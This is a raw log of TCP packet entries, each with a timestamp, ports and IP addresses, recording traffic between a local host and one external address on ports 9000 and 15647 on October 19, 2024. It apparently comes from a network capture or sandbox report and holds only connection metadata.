Oct 19, 2024 03:37:06.651216030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.651223898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.682136059 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.694118023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.725382090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.739455938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.739495993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.739506006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.739536047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.741995096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.769463062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769519091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.769634962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769644976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769654989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769704103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.769727945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769768953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.769773006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769784927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.769828081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.769828081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770129919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770147085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770169973 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770288944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770333052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770344019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770345926 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770385027 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770610094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770653009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770663977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770692110 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770791054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770802021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770812035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.770831108 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770843983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.770896912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.771512032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.771565914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.806119919 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.814382076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.814416885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.814426899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.814471006 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.851277113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.856126070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.857680082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.859596968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.859635115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.859642982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.859664917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.859672070 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.859723091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.889661074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889688969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889698982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889724970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.889744997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.889832973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889904976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889914989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.889946938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890119076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890162945 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890187025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890292883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890333891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890348911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890363932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890403032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890438080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890759945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890778065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890804052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890877008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890923023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.890940905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890953064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.890990019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.891028881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.891357899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.891403913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.891416073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.891427040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.891473055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.891482115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.899916887 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.899991989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.934870005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.934880972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.934891939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.934964895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.934999943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.961561918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.979955912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.980009079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.980021000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.980081081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.008382082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010025978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010044098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010055065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010080099 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010109901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010237932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010248899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010281086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010296106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010401011 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010452986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010488033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010519028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010529995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010555983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010591030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010637999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.010900021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010950089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.010997057 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.011058092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011111975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011121988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011152029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.011393070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011432886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011440992 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.011445045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011485100 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.011543989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011554956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.011595011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.053524971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.070261002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.252779961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252794027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252804995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252842903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252852917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252861977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252872944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252954960 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252964973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252965927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.252965927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.252974987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.252986908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253038883 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253061056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253083944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253093958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253099918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253110886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253118992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253129005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253144979 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253163099 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253319025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253329992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253340960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253351927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253364086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253371000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253375053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253395081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253407001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253586054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253596067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253611088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253621101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253629923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253639936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253639936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253652096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253660917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253669024 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253673077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253686905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253695011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253705025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253706932 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253715992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253726959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.253739119 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253767014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.253781080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254053116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254062891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254070997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254085064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254095078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254105091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254122019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254149914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254331112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254340887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254349947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254360914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254369020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254378080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254388094 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254389048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254400015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254410028 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254410982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254420042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254430056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254431009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254441023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.254446983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.254486084 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.257837057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257847071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257857084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257906914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.257936954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257949114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257958889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.257987976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.258011103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.258055925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.258066893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.258076906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.258085012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.258107901 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.258114100 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.258142948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.288738012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.295516968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.295531034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.295537949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.295686960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.338651896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.340822935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.340859890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.340869904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.340874910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.340909958 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.340969086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.340981960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.341028929 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.341053009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.341068983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.341114998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.341119051 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.370512009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370529890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370541096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370568991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.370589018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.370606899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370667934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370678902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370721102 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.370872974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370923042 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.370948076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.370959044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371011972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.371153116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371196032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371241093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.371288061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371335030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371345997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371387005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.371402025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371448040 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.371697903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371757984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371767044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.371797085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.371957064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.372004032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.372018099 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.372029066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.372062922 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.381639957 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.398516893 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.415728092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.415739059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.415786028 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.460885048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.460894108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.460901022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.460906029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.460911036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461056948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.461240053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461258888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461266994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461286068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.461333990 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.461363077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461374044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461383104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461410046 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.461622953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.461668968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.461673975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.462079048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490535021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490573883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490582943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490600109 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.490612030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490681887 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.490685940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490730047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.490741968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490752935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.490791082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491009951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491027117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491075993 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491153955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491163969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491208076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491244078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491313934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491324902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491373062 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491400003 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491414070 CEST	9000	49705	213.109.202.97	192.168.2.5
